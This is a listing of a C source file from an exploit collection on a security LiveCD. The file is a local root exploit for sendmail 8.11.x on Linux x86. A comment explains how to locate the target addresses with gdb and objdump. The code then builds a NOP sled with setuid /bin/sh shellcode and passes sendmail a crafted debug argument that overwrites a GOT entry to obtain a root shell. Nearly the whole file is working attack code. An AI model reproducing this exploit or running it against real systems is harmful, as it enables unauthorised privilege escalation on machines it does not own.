home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / alsou.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  107 lines

  1. /*
  2.  * alsou.c
  3.  *
  4.  * sendmail-8.11.x linux x86 exploit
  5.  *
  6.  * To use this exploit you should know two numbers: VECT and GOT.
  7.  * Use gdb to find the first:
  8.  *
  9.  * $ gdb -q /usr/sbin/sendmail 
  10.  * (gdb) break tTflag 
  11.  * Breakpoint 1 at 0x8080629
  12.  * (gdb) r -d1-1.1
  13.  * Starting program: /usr/sbin/sendmail -d1-1.1
  14.  *
  15.  * Breakpoint 1, 0x8080629 in tTflag ()
  16.  * (gdb) disassemble tTflag
  17.  * .............
  18.  * 0x80806ea <tTflag+202>: dec    %edi
  19.  * 0x80806eb <tTflag+203>: mov    %edi,0xfffffff8(%ebp)
  20.  * 0x80806ee <tTflag+206>: jmp    0x80806f9 <tTflag+217>
  21.  * 0x80806f0 <tTflag+208>: mov    0x80b21f4,%eax
  22.  *                               ^^^^^^^^^^^^^^^^^^ address of VECT
  23.  * 0x80806f5 <tTflag+213>: mov    %bl,(%esi,%eax,1)
  24.  * 0x80806f8 <tTflag+216>: inc    %esi
  25.  * 0x80806f9 <tTflag+217>: cmp    0xfffffff8(%ebp),%esi
  26.  * 0x80806fc <tTflag+220>: jle    0x80806f0 <tTflag+208>
  27.  * .............
  28.  * (gdb) x/x 0x80b21f4
  29.  * 0x80b21f4 <tTvect>:     0x080b9ae0
  30.  *                        ^^^^^^^^^^^^^ VECT
  31.  *
  32.  * Use objdump to find the second:
  33.  * $ objdump -R /usr/sbin/sendmail |grep setuid
  34.  * 0809e07c R_386_JUMP_SLOT   setuid
  35.  * ^^^^^^^^^ GOT
  36.  *
  37.  * Probably you should play with OFFSET to make exploit work.
  38.  * 
  39.  * Constant values, written in this code found for sendmail-8.11.4
  40.  * on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and
  41.  * GOT = 0x0809e07c.
  42.  *
  43.  * To get r00t type ./alsou and then press Ctrl+C.
  44.  * 
  45.  *
  46.  * grange <grange@rt.mipt.ru>
  47.  *
  48.  */
  49.  
  50. #include <sys/types.h>
  51. #include <stdlib.h>
  52.  
  53. #define OFFSET 1000
  54. #define VECT 0x080baf20
  55. #define GOT 0x0809f544
  56.  
  57. #define NOPNUM 1024
  58.  
  59. char shellcode[] =
  60.     "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  61.     "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
  62.     "\xc0\x88\x43\x07\x89\x5b\x08\x89"
  63.     "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
  64.     "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
  65.     "/bin/sh";
  66.  
  67. unsigned int get_esp()
  68. {
  69.     __asm__("movl %esp,%eax");
  70. }
  71.  
  72. int main(int argc, char *argv[])
  73. {
  74.     char *egg, s[256], tmp[256], *av[3], *ev[2];
  75.     unsigned int got = GOT, vect = VECT, ret, first, last, i;
  76.  
  77.     egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
  78.     if (egg == NULL) {
  79.         perror("malloc()");
  80.         exit(-1);
  81.     }
  82.     sprintf(egg, "EGG=");
  83.     memset(egg + 4, 0x90, NOPNUM);
  84.     sprintf(egg + 4 + NOPNUM, "%s", shellcode);
  85.     
  86.     ret = get_esp() + OFFSET;
  87.  
  88.     sprintf(s, "-d");
  89.     first = -vect - (0xffffffff - got + 1);
  90.     last = first;
  91.     while (ret) {
  92.         i = ret & 0xff;
  93.         sprintf(tmp, "%u-%u.%u-", first, last, i);
  94.         strcat(s, tmp);
  95.         last = ++first;
  96.         ret = ret >> 8;
  97.     }
  98.     s[strlen(s) - 1] = '\0';
  99.  
  100.     av[0] = "/usr/sbin/sendmail";
  101.     av[1] = s;
  102.     av[2] = NULL;
  103.     ev[0] = egg;
  104.     ev[1] = NULL;
  105.     execve(*av, av, ev);
  106. }
  107.